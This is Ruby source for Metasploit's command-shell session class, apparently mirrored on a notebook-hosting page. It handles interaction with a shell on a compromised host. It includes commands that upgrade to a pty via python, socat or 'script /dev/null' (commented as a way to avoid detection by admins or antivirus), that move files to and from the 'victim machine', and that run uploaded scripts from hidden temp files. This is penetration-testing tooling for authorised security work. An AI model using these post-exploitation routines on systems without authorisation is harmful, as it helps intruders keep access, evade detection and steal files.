Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/base/sessions/command_shell.rb
19567 views
1
# -*- coding: binary -*-
2
require 'shellwords'
3
require 'rex/text/table'
4
require "base64"
5
6
module Msf
7
module Sessions
8
9
###
10
#
11
# This class provides basic interaction with a command shell on the remote
12
# endpoint. This session is initialized with a stream that will be used
13
# as the pipe for reading and writing the command shell.
14
#
15
###
16
class CommandShell
17
18
#
19
# This interface supports basic interaction.
20
#
21
include Msf::Session::Basic
22
23
#
24
# This interface supports interacting with a single command shell.
25
#
26
include Msf::Session::Provider::SingleCommandShell
27
28
include Msf::Sessions::Scriptable
29
30
include Rex::Ui::Text::Resource
31
32
@@irb_opts = Rex::Parser::Arguments.new(
33
['-h', '--help'] => [false, 'Help menu.' ],
34
'-e' => [true, 'Expression to evaluate.']
35
)
36
37
##
38
# :category: Msf::Session::Scriptable implementors
39
#
40
# Runs the shell session script or resource file.
41
#
42
def execute_file(full_path, args)
43
if File.extname(full_path) == '.rb'
44
Rex::Script::Shell.new(self, full_path).run(args)
45
else
46
load_resource(full_path)
47
end
48
end
49
50
#
51
# Returns the type of session.
52
#
53
def self.type
54
"shell"
55
end
56
57
def self.can_cleanup_files
58
true
59
end
60
61
def initialize(conn, opts = {})
62
self.platform ||= ""
63
self.arch ||= ""
64
self.max_threads = 1
65
@cleanup = false
66
datastore = opts[:datastore]
67
if datastore && !datastore["CommandShellCleanupCommand"].blank?
68
@cleanup_command = datastore["CommandShellCleanupCommand"]
69
end
70
super
71
end
72
73
#
74
# Returns the session description.
75
#
76
def desc
77
"Command shell"
78
end
79
80
#
81
# Calls the class method
82
#
83
def type
84
self.class.type
85
end
86
87
def abort_foreground_supported
88
self.platform != 'windows'
89
end
90
91
##
92
# :category: Msf::Session::Provider::SingleCommandShell implementors
93
#
94
# The shell will have been initialized by default.
95
#
96
def shell_init
97
return true
98
end
99
100
def bootstrap(datastore = {}, handler = nil)
101
session = self
102
103
if datastore['AutoVerifySession']
104
session_info = ''
105
106
# Read the initial output and mash it into a single line
107
# Timeout set to 1 to read in banner of all payload responses (may capture prompt as well)
108
# Encoding is not forced to support non ASCII shells
109
if session.info.nil? || session.info.empty?
110
banner = shell_read(-1, 1)
111
if banner && !banner.empty?
112
banner.gsub!(/[^[:print:][:space:]]+/n, "_")
113
banner.strip!
114
115
session_info = @banner = %Q{
116
Shell Banner:
117
#{banner}
118
-----
119
}
120
end
121
end
122
123
token = Rex::Text.rand_text_alphanumeric(8..24)
124
response = shell_command("echo #{token}")
125
unless response&.include?(token)
126
dlog("Session #{session.sid} failed to respond to an echo command")
127
print_error("Command shell session #{session.sid} is not valid and will be closed")
128
session.kill
129
return nil
130
end
131
132
# Only populate +session.info+ with a captured banner if the shell is responsive and verified
133
session.info = session_info if session.info.blank?
134
session
135
else
136
# Encrypted shells need all information read before anything is written, so we read in the banner here. However we
137
# don't populate session.info with the captured value since without AutoVerify there's no way to be certain this
138
# actually is a banner and not junk/malicious input
139
if session.class == ::Msf::Sessions::EncryptedShell
140
shell_read(-1, 0.1)
141
end
142
end
143
end
144
145
#
146
# Return the subdir of the `documentation/` directory that should be used
147
# to find usage documentation
148
#
149
def docs_dir
150
File.join(super, 'shell_session')
151
end
152
153
#
154
# List of supported commands.
155
#
156
def commands
157
{
158
'help' => 'Help menu',
159
'background' => 'Backgrounds the current shell session',
160
'sessions' => 'Quickly switch to another session',
161
'resource' => 'Run a meta commands script stored in a local file',
162
'shell' => 'Spawn an interactive shell (*NIX Only)',
163
'download' => 'Download files',
164
'upload' => 'Upload files',
165
'source' => 'Run a shell script on remote machine (*NIX Only)',
166
'irb' => 'Open an interactive Ruby shell on the current session',
167
'pry' => 'Open the Pry debugger on the current session'
168
}
169
end
170
171
def cmd_help_help
172
print_line "There's only so much I can do"
173
end
174
175
def cmd_help(*args)
176
cmd = args.shift
177
178
if cmd
179
unless commands.key?(cmd)
180
return print_error('No such command')
181
end
182
183
unless respond_to?("cmd_#{cmd}_help")
184
return print_error("No help for #{cmd}, try -h")
185
end
186
187
return send("cmd_#{cmd}_help")
188
end
189
190
columns = ['Command', 'Description']
191
192
tbl = Rex::Text::Table.new(
193
'Header' => 'Meta shell commands',
194
'Prefix' => "\n",
195
'Postfix' => "\n",
196
'Indent' => 4,
197
'Columns' => columns,
198
'SortIndex' => -1
199
)
200
201
commands.each do |key, value|
202
tbl << [key, value]
203
end
204
205
tbl << ['.<command>', "Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)"]
206
207
print(tbl.to_s)
208
print("For more info on a specific command, use %grn<command> -h%clr or %grnhelp <command>%clr.\n\n")
209
end
210
211
def cmd_background_help
212
print_line "Usage: background"
213
print_line
214
print_line "Stop interacting with this session and return to the parent prompt"
215
print_line
216
end
217
218
def escape_arg(arg)
219
# By default we don't know what the escaping is. It's not ideal, but subclasses should do their own appropriate escaping
220
arg
221
end
222
223
def cmd_background(*args)
224
if !args.empty?
225
# We assume that background does not need arguments
226
# If user input does not follow this specification
227
# Then show help (Including '-h' '--help'...)
228
return cmd_background_help
229
end
230
231
if prompt_yesno("Background session #{name}?")
232
self.interacting = false
233
end
234
end
235
236
def cmd_sessions_help
237
print_line('Usage: sessions <id>')
238
print_line
239
print_line('Interact with a different session Id.')
240
print_line('This command only accepts one positive numeric argument.')
241
print_line('This works the same as calling this from the MSF shell: sessions -i <session id>')
242
print_line
243
end
244
245
def cmd_sessions(*args)
246
if args.length != 1
247
print_status "Wrong number of arguments expected: 1, received: #{args.length}"
248
return cmd_sessions_help
249
end
250
251
if args[0] == '-h' || args[0] == '--help'
252
return cmd_sessions_help
253
end
254
255
session_id = args[0].to_i
256
if session_id <= 0
257
print_status 'Invalid session id'
258
return cmd_sessions_help
259
end
260
261
if session_id == self.sid
262
# Src == Dst
263
print_status("Session #{self.name} is already interactive.")
264
else
265
print_status("Backgrounding session #{self.name}...")
266
# store the next session id so that it can be referenced as soon
267
# as this session is no longer interacting
268
self.next_session = session_id
269
self.interacting = false
270
end
271
end
272
273
def cmd_resource(*args)
274
if args.empty? || args[0] == '-h' || args[0] == '--help'
275
cmd_resource_help
276
return false
277
end
278
279
args.each do |res|
280
good_res = nil
281
if res == '-'
282
good_res = res
283
elsif ::File.exist?(res)
284
good_res = res
285
elsif
286
# let's check to see if it's in the scripts/resource dir (like when tab completed)
287
[
288
::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter',
289
::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter'
290
].each do |dir|
291
res_path = ::File::join(dir, res)
292
if ::File.exist?(res_path)
293
good_res = res_path
294
break
295
end
296
end
297
end
298
if good_res
299
print_status("Executing resource script #{good_res}")
300
load_resource(good_res)
301
print_status("Resource script #{good_res} complete")
302
else
303
print_error("#{res} is not a valid resource file")
304
next
305
end
306
end
307
end
308
309
def cmd_resource_help
310
print_line "Usage: resource path1 [path2 ...]"
311
print_line
312
print_line "Run the commands stored in the supplied files. (- for stdin, press CTRL+D to end input from stdin)"
313
print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags."
314
print_line
315
end
316
317
def cmd_shell_help()
318
print_line('Usage: shell')
319
print_line
320
print_line('Pop up an interactive shell via multiple methods.')
321
print_line('An interactive shell means that you can use several useful commands like `passwd`, `su [username]`')
322
print_line('There are four implementations of it: ')
323
print_line('\t1. using python `pty` module (default choice)')
324
print_line('\t2. using `socat` command')
325
print_line('\t3. using `script` command')
326
print_line('\t4. upload a pty program via reverse shell')
327
print_line
328
end
329
330
def cmd_shell(*args)
331
if args.length == 1 && (args[0] == '-h' || args[0] == '--help')
332
# One arg, and args[0] => '-h' '--help'
333
return cmd_shell_help
334
end
335
336
if platform == 'windows'
337
print_error('Functionality not supported on windows')
338
return
339
end
340
341
# 1. Using python
342
python_path = binary_exists("python") || binary_exists("python3")
343
if python_path != nil
344
print_status("Using `python` to pop up an interactive shell")
345
# Ideally use bash for a friendlier shell, but fall back to /bin/sh if it doesn't exist
346
shell_path = binary_exists("bash") || '/bin/sh'
347
shell_command("#{python_path} -c \"#{ Msf::Payload::Python.create_exec_stub("import pty; pty.spawn('#{shell_path}')") } \"")
348
return
349
end
350
351
# 2. Using script
352
script_path = binary_exists("script")
353
if script_path != nil
354
print_status("Using `script` to pop up an interactive shell")
355
# Payload: script /dev/null
356
# Using /dev/null to make sure there is no log file on the target machine
357
# Prevent being detected by the admin or antivirus software
358
shell_command("#{script_path} /dev/null")
359
return
360
end
361
362
# 3. Using socat
363
socat_path = binary_exists("socat")
364
if socat_path != nil
365
# Payload: socat - exec:'bash -li',pty,stderr,setsid,sigint,sane
366
print_status("Using `socat` to pop up an interactive shell")
367
shell_command("#{socat_path} - exec:'/bin/sh -li',pty,stderr,setsid,sigint,sane")
368
return
369
end
370
371
# 4. Using pty program
372
# 4.1 Detect arch and destribution
373
# 4.2 Real time compiling
374
# 4.3 Upload binary
375
# 4.4 Change mode of binary
376
# 4.5 Execute binary
377
378
print_error("Can not pop up an interactive shell")
379
end
380
381
def self.binary_exists(binary, platform: nil, &block)
382
if block.call('command -v command').to_s.strip == 'command'
383
binary_path = block.call("command -v '#{binary}' && echo true").to_s.strip
384
else
385
binary_path = block.call("which '#{binary}' && echo true").to_s.strip
386
end
387
return nil unless binary_path.include?('true')
388
389
binary_path.split("\n")[0].strip # removes 'true' from stdout
390
end
391
392
#
393
# Returns path of a binary in PATH env.
394
#
395
def binary_exists(binary)
396
print_status("Trying to find binary '#{binary}' on the target machine")
397
398
binary_path = self.class.binary_exists(binary, platform: platform) do |command|
399
shell_command_token(command)
400
end
401
402
if binary_path.nil?
403
print_error("#{binary} not found")
404
else
405
print_status("Found #{binary} at #{binary_path}")
406
end
407
408
return binary_path
409
end
410
411
def cmd_download_help
412
print_line("Usage: download [src] [dst]")
413
print_line
414
print_line("Downloads remote files to the local machine.")
415
print_line("Only files are supported.")
416
print_line
417
end
418
419
def cmd_download(*args)
420
if args.length != 2
421
# no arguments, just print help message
422
return cmd_download_help
423
end
424
425
src = args[0]
426
dst = args[1]
427
428
# Check if src exists
429
if !_file_transfer.file_exist?(src)
430
print_error("The target file does not exist")
431
return
432
end
433
434
# Get file content
435
print_status("Download #{src} => #{dst}")
436
content = _file_transfer.read_file(src)
437
438
# Write file to local machine
439
File.binwrite(dst, content)
440
print_good("Done")
441
442
rescue NotImplementedError => e
443
print_error(e.message)
444
end
445
446
def cmd_upload_help
447
print_line("Usage: upload [src] [dst]")
448
print_line
449
print_line("Uploads load file to the victim machine.")
450
print_line("This command does not support to upload a FOLDER yet")
451
print_line
452
end
453
454
def cmd_upload(*args)
455
if args.length != 2
456
# no arguments, just print help message
457
return cmd_upload_help
458
end
459
460
src = args[0]
461
dst = args[1]
462
463
# Check target file exists on the target machine
464
if _file_transfer.file_exist?(dst)
465
print_warning("The file <#{dst}> already exists on the target machine")
466
unless prompt_yesno("Overwrite the target file <#{dst}>?")
467
return
468
end
469
end
470
471
begin
472
content = File.binread(src)
473
result = _file_transfer.write_file(dst, content)
474
print_good("File <#{dst}> upload finished") if result
475
print_error("Error occurred while uploading <#{src}> to <#{dst}>") unless result
476
rescue => e
477
print_error("Error occurred while uploading <#{src}> to <#{dst}> - #{e.message}")
478
elog(e)
479
return
480
end
481
482
rescue NotImplementedError => e
483
print_error(e.message)
484
end
485
486
def cmd_source_help
487
print_line("Usage: source [file] [background]")
488
print_line
489
print_line("Execute a local shell script file on remote machine")
490
print_line("This meta command will upload the script then execute it on the remote machine")
491
print_line
492
print_line("background")
493
print_line("`y` represent execute the script in background, `n` represent on foreground")
494
end
495
496
def cmd_source(*args)
497
if args.length != 2
498
# no arguments, just print help message
499
return cmd_source_help
500
end
501
502
if platform == 'windows'
503
print_error('Functionality not supported on windows')
504
return
505
end
506
507
background = args[1].downcase == 'y'
508
509
local_file = args[0]
510
remote_file = "/tmp/." + ::Rex::Text.rand_text_alpha(32) + ".sh"
511
512
cmd_upload(local_file, remote_file)
513
514
# Change file permission in case of TOCTOU
515
shell_command("chmod 0600 #{remote_file}")
516
517
if background
518
print_status("Executing on remote machine background")
519
print_line(shell_command("nohup sh -x #{remote_file} &"))
520
else
521
print_status("Executing on remote machine foreground")
522
print_line(shell_command("sh -x #{remote_file}"))
523
end
524
print_status("Cleaning temp file on remote machine")
525
shell_command("rm -rf '#{remote_file}'")
526
end
527
528
def cmd_irb_help
529
print_line('Usage: irb')
530
print_line
531
print_line('Open an interactive Ruby shell on the current session.')
532
print @@irb_opts.usage
533
end
534
535
#
536
# Open an interactive Ruby shell on the current session
537
#
538
def cmd_irb(*args)
539
expressions = []
540
541
# Parse the command options
542
@@irb_opts.parse(args) do |opt, idx, val|
543
case opt
544
when '-e'
545
expressions << val
546
when '-h'
547
return cmd_irb_help
548
end
549
end
550
551
session = self
552
framework = self.framework
553
554
if expressions.empty?
555
print_status('Starting IRB shell...')
556
print_status("You are in the \"self\" (session) object\n")
557
framework.history_manager.with_context(name: :irb) do
558
Rex::Ui::Text::IrbShell.new(self).run
559
end
560
else
561
# XXX: No vprint_status here
562
if framework.datastore['VERBOSE'].to_s == 'true'
563
print_status("You are executing expressions in #{binding.receiver}")
564
end
565
566
expressions.each { |expression| eval(expression, binding) }
567
end
568
end
569
570
def cmd_pry_help
571
print_line 'Usage: pry'
572
print_line
573
print_line 'Open the Pry debugger on the current session.'
574
print_line
575
end
576
577
#
578
# Open the Pry debugger on the current session
579
#
580
def cmd_pry(*args)
581
if args.include?('-h') || args.include?('--help')
582
cmd_pry_help
583
return
584
end
585
586
begin
587
require 'pry'
588
rescue LoadError
589
print_error('Failed to load Pry, try "gem install pry"')
590
return
591
end
592
593
print_status('Starting Pry shell...')
594
print_status("You are in the \"self\" (session) object\n")
595
Pry.config.history_load = false
596
framework.history_manager.with_context(history_file: Msf::Config.pry_history, name: :pry) do
597
self.pry
598
end
599
end
600
601
#
602
# Explicitly runs a single line command.
603
#
604
def run_single(cmd)
605
# Do nil check for cmd (CTRL+D will cause nil error)
606
return unless cmd
607
608
begin
609
arguments = Shellwords.shellwords(cmd)
610
method = arguments.shift
611
rescue ArgumentError => e
612
# Handle invalid shellwords, such as unmatched quotes
613
# See https://github.com/rapid7/metasploit-framework/issues/15912
614
end
615
616
# Built-in command
617
if commands.key?(method) or ( not method.nil? and method[0] == '.' and commands.key?(method[1..-1]))
618
# Handle overlapping built-ins with actual shell commands by prepending '.'
619
if method[0] == '.' and commands.key?(method[1..-1])
620
return shell_write(cmd[1..-1] + command_termination)
621
else
622
return run_builtin_cmd(method, arguments)
623
end
624
end
625
626
# User input is not a built-in command, write to socket directly
627
shell_write(cmd + command_termination)
628
end
629
630
#
631
# Run built-in command
632
#
633
def run_builtin_cmd(method, arguments)
634
# Dynamic function call
635
self.send('cmd_' + method, *arguments)
636
end
637
638
##
639
# :category: Msf::Session::Provider::SingleCommandShell implementors
640
#
641
# Explicitly run a single command, return the output.
642
#
643
def shell_command(cmd, timeout=5)
644
# Send the command to the session's stdin.
645
shell_write(cmd + command_termination)
646
647
etime = ::Time.now.to_f + timeout
648
buff = ""
649
650
# Keep reading data until no more data is available or the timeout is
651
# reached.
652
while (::Time.now.to_f < etime and (self.respond_to?(:ring) or ::IO.select([rstream], nil, nil, timeout)))
653
res = shell_read(-1, 0.01)
654
buff << res if res
655
timeout = etime - ::Time.now.to_f
656
end
657
658
buff
659
end
660
661
##
662
# :category: Msf::Session::Provider::SingleCommandShell implementors
663
#
664
# Read from the command shell.
665
#
666
def shell_read(length=-1, timeout=1)
667
begin
668
rv = rstream.get_once(length, timeout)
669
rlog(rv, self.log_source) if rv && self.log_source
670
framework.events.on_session_output(self, rv) if rv
671
return rv
672
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
673
#print_error("Socket error: #{e.class}: #{e}")
674
shell_close
675
raise e
676
end
677
end
678
679
##
680
# :category: Msf::Session::Provider::SingleCommandShell implementors
681
#
682
# Writes to the command shell.
683
#
684
def shell_write(buf)
685
return unless buf
686
687
begin
688
rlog(buf, self.log_source) if self.log_source
689
framework.events.on_session_command(self, buf.strip)
690
rstream.write(buf)
691
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
692
#print_error("Socket error: #{e.class}: #{e}")
693
shell_close
694
raise e
695
end
696
end
697
698
##
699
# :category: Msf::Session::Provider::SingleCommandShell implementors
700
#
701
# Closes the shell.
702
# Note: parent's 'self.kill' method calls cleanup below.
703
#
704
def shell_close()
705
self.kill
706
end
707
708
##
709
# :category: Msf::Session implementors
710
#
711
# Closes the shell.
712
#
713
def cleanup
714
return if @cleanup
715
716
@cleanup = true
717
if rstream
718
if !@cleanup_command.blank?
719
# this is a best effort, since the session is possibly already dead
720
shell_command_token(@cleanup_command) rescue nil
721
722
# we should only ever cleanup once
723
@cleanup_command = nil
724
end
725
726
# this is also a best-effort
727
rstream.close rescue nil
728
rstream = nil
729
end
730
super
731
end
732
733
#
734
# Execute any specified auto-run scripts for this session
735
#
736
def process_autoruns(datastore)
737
if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty?
738
args = Shellwords.shellwords( datastore['InitialAutoRunScript'] )
739
print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'")
740
execute_script(args.shift, *args)
741
end
742
743
if (datastore['AutoRunScript'] && datastore['AutoRunScript'].empty? == false)
744
args = Shellwords.shellwords( datastore['AutoRunScript'] )
745
print_status("Session ID #{sid} (#{tunnel_to_s}) processing AutoRunScript '#{datastore['AutoRunScript']}'")
746
execute_script(args.shift, *args)
747
end
748
end
749
750
# Perform command line escaping wherein most chars are able to be escaped by quoting them,
751
# but others don't have a valid way of existing inside quotes, so we need to "glue" together
752
# a series of sections of the original command line; some sections inside quotes, and some outside
753
# @param arg [String] The command line arg to escape
754
# @param quote_requiring [Array<String>] The chars that can successfully be escaped inside quotes
755
# @param unquotable_char [String] The character that can't exist inside quotes
756
# @param escaped_unquotable_char [String] The escaped form of unquotable_char
757
# @param quote_char [String] The char used for quoting
758
def self._glue_cmdline_escape(arg, quote_requiring, unquotable_char, escaped_unquotable_char, quote_char)
759
current_token = ""
760
result = ""
761
in_quotes = false
762
763
arg.each_char do |char|
764
if char == unquotable_char
765
if in_quotes
766
# This token has been in an inside-quote context, so let's properly wrap that before continuing
767
current_token = "#{quote_char}#{current_token}#{quote_char}"
768
end
769
result += current_token
770
result += escaped_unquotable_char # Escape the offending percent
771
772
# Start a new token - we'll assume we're remaining outside quotes
773
current_token = ''
774
in_quotes = false
775
next
776
elsif quote_requiring.include?(char)
777
# Oh, it turns out we should have been inside quotes for this token.
778
# Let's note that, for when we actually append the token
779
in_quotes = true
780
end
781
current_token += char
782
end
783
784
if in_quotes
785
# The final token has been in an inside-quote context, so let's properly wrap that before continuing
786
current_token = "#{quote_char}#{current_token}#{quote_char}"
787
end
788
result += current_token
789
790
result
791
end
792
793
attr_accessor :arch
794
attr_accessor :platform
795
attr_accessor :max_threads
796
attr_reader :banner
797
798
protected
799
800
##
801
# :category: Msf::Session::Interactive implementors
802
#
803
# Override the basic session interaction to use shell_read and
804
# shell_write instead of operating on rstream directly.
805
def _interact
806
framework.events.on_session_interact(self)
807
framework.history_manager.with_context(name: self.type.to_sym) {
808
_interact_stream
809
}
810
end
811
812
##
813
# :category: Msf::Session::Interactive implementors
814
#
815
def _interact_stream
816
fds = [rstream.fd, user_input.fd]
817
818
# Displays +info+ on all session startups
819
# +info+ is set to the shell banner and initial prompt in the +bootstrap+ method
820
user_output.print("#{@banner}\n") if !@banner.blank? && self.interacting
821
822
run_single('')
823
824
while self.interacting
825
sd = Rex::ThreadSafe.select(fds, nil, fds, 0.5)
826
next unless sd
827
828
if sd[0].include? rstream.fd
829
user_output.print(shell_read)
830
end
831
if sd[0].include? user_input.fd
832
run_single((user_input.gets || '').chomp("\n"))
833
end
834
Thread.pass
835
end
836
end
837
838
# Functionality used as part of builtin commands/metashell support that isn't meant to be exposed
839
# as part of the CommandShell's public API
840
class FileTransfer
841
include Msf::Post::File
842
843
# @param [Msf::Sessions::CommandShell] session
844
def initialize(session)
845
@session = session
846
end
847
848
private
849
850
def vprint_status(s)
851
session.print_status(s)
852
end
853
854
attr_reader :session
855
end
856
857
def _file_transfer
858
raise NotImplementedError.new('Session does not support file transfers.') if session_type.ends_with?(':winpty')
859
860
FileTransfer.new(self)
861
end
862
end
863
864
end
865
end
866
867